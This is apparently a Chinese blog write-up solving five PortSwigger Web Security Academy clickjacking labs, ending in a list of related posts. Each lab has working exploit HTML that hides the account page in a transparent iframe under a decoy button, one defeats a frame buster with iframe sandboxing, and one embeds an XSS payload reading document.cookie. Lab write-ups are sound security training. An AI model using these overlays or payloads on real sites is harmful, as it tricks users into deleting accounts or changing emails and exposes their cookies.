Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing)
1 - Basic clickjacking with CSRF token protection
题目描述
- 登陆后可以删除账号,但是该功能点有csrf token保护
要求
- 让受害者删掉自己的账号
解题过程
因为要调CSS,就先用一下材料里给的代码看看(具体参数有问题,自己调整调整,显示没过,然后修改的时候提示solved。。。原本的参数没记下来)
<head>
<style>
#target_website {
position: relative;
width: 1280px;
height: 400px;
opacity: 0.0000000000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:575px;
left:100px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
click
</div>
<iframe id="target_website" src="https://ac411f1c1e3720d880aa0ddc00c8008d.web-security-academy.net/my-account">
</iframe>
</body>
2 - Clickjacking with form input data prefilled from a URL parameter
题目描述
- 没啥描述的
要求
- 利用预填充来修改用户邮箱
解题过程
访问
/my-account?email=asd@asd.asd,发现邮箱被预填充进页面构造恶意页面,钓鱼(借助上一题的代码)
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:525px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac131f121fdf9d78802b4cc1006300fb.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
3 - Clickjacking with a frame buster script
题目描述
- 这个lab被frame buster保护着
要求
- 修改受害者邮箱
解题过程
材料里有说frame buster,大致意思就是只接受自己是最顶层网页(根节点),关于这个东西google上挺多的,[贴一个])(https://zhuanlan.zhihu.com/p/27310909)
但是
iframe指定sandbox为allow-forms或者allow-scripts,且忽略allow-top-navigation会使iframe中的网页不知道自己是否是最顶层网页构造exp
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:505px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" sandbox="allow-forms" src="https://ac741fe61e32394280fe03af00970035.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
4 - Exploiting clickjacking vulnerability to trigger DOM-based XSS
题目描述
- 把Dom based XSS和Clickjacking结合起来
要求
alert(document.cookie)
解题过程
首先找XSS,发现在feedback页面可以使用GET预填充参数,提交后,会把name直接打印出来
构造exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.00000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:805px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac2c1f701efa1dee807e67af00d40001.web-security-academy.net/feedback?name=%3Cimg/src=x%20onerror=alert(document.cookie)%3E&email=asd@asd.com&subject=asd&message=asd">
</iframe>
</body>
5 - Multistep clickjacking
题目描述
- 这个lab的账号相关的功能点被csrf token保护着,并且有一个确认对话框来防止点击劫持
要求
- 让受害者删除自己的账号
解题过程
多了个对话框。。。相比实际场景,不需要动态显示就很简单了
上exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website_1 {
position:absolute;
top:495px;
left:60px;
z-index:1;
}
#decoy_website_2 {
position:absolute;
top:285px;
left:190px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website_1">
Click me first
</div>
<div id="decoy_website_2">
Click me next
</div>
<iframe id="target_website" src="https://ac871f9f1e4e40b7801a875000290076.web-security-academy.net/my-account">
</iframe>
</body>
Portswigger web security academy:Clickjacking (UI redressing)的更多相关文章
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- 扫盲贴|如何评价一款App的稳定性和质量?
作者:友盟+移动开发专家 张文 「崩溃」与「卡顿」.「异常退出」等一样,是影响App稳定性常见的三种情况.相关数据显示,当iOS的崩溃率超过0.8%,Android的崩溃率超过0.4%的时候,活跃用户 ...
- 为什么要从 Linux 迁移到 BSD 5
为什么要从 Linux 迁移到 BSD 5 干净的分离 在 FreeBSD 的设计方式下,不同的组件组合在一起的,处理配置和调优,以及多年来开发和改进的所有工具,使得使用 FreeBSD 是一件很特别 ...
- Python字典与集合
一 字典创建.访问.添加.删除.修改.内建函数.内建方法 创建,列表不能作为键,因为键不能变?字典也不能作为键 dict1 = {} dict2 = {'name':'qq','sex':'male' ...
- ch1_6_2求解删除公共字符问题
输入两个字符串,从第一字符串中删除第二个字符串中所有的字符.例如,输入"They are students."和"aeiou",则删除之后的第一个字符串变成&q ...
- 攻防世界 reverse SignIn
SignIn 2019_SUCTF __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char mod; // [rsp+0 ...
- python编写自己的base64加解密工具
0x00 Base64编码的用途 在网络传输中,不是所的的内容都是可打印字符,其中绝大多数数据是不可见字符,base64可以基于64个可打印字符来表示这些带有不可打印字符的传输数据. 0x01 Bas ...
- Linux—用户新建目录和文件的默认权限设置:umask详解
关注微信公众号:CodingTechWork,一起学习进步. 引言 我们有没有思考过一个问题,在登录Linux系统后,我们创建的目录或者文件的权限,为什么每次创建都是统一的?我们做以下实验:新建一 ...
- 【linux】驱动-6-总线-设备-驱动
目录 前言 6. 总线-设备-驱动 6.1 概念 6.2 工作原理 6.3 总线 6.3.1 总线介绍 6.3.2 注册总线 6.4 设备 6.4.1 设备介绍 6.4.2 设备注册.注销 6.5 驱 ...
- LevelDB 源码解析之 Random 随机数
GitHub: https://github.com/storagezhang Emai: debugzhang@163.com 华为云社区: https://bbs.huaweicloud.com/ ...
- java例题_29 二维数组问题,并输出对角线之和
1 /*29 [程序 29 求矩阵对角线之和] 2 题目:求一个 3*3 矩阵对角线元素之和 3 程序分析:利用双重 for 循环控制输入二维数组,再将 a[i][i]累加后输出. 4 */ 5 6 ...